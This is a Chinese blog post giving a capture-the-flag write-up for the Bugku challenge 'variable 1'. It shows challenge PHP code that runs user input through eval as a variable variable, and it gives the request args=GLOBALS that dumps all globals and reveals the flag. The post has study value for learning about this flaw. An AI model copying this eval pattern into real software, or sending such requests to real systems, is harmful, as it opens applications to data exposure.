美文网首页
Bugku 变量1

Bugku 变量1

作者: 失眠是真滴难受 | 来源:发表于2019-01-30 22:24 被阅读6次

打开题目,页面是这样的

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

第一行 flag in the variable 提示我们 flag 在变量里,然后审计下面的代码,需要我们传入一个变量 args ,然后判断这个变量是否已经设置了 ,之后是一个正则匹配。"^" 代表的是匹配字符串的开始位置,“$” 代表的是匹配字符串的结尾位置,“\w” 代表匹配字母(在PHP中是这样,其他地方可以用来匹配字母,数字,下划线),“+” 表示前面的字符串匹配一次或多次。如果不匹配,就直接 die(退出当前脚本,并输出一条消息),否则就执行

eval("var_dump($$args);");

注意这里有两个 “$”

$$args

两个 "$" 说明这是一个可变变量
我们可以通过一个一个传入 PHP 的预定义变量获得 flag ,不过在 PHP 里面有一个 GLOBAL 变量 ,直接包含了所有的全局变量,所以我们只要传入 args=GLOBAlS 注意 GLOBALS 要大写,就可以获取到 flag 了。

http://123.206.87.240:8004/index1.php?args=GLOBALS
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=>
 array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { }
 ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" 
["args"]=> string(7) "GLOBALS" } 

相关文章

网友评论

      本文标题:Bugku 变量1

      本文链接:https://www.haomeiwen.com/subject/xqkhsqtx.html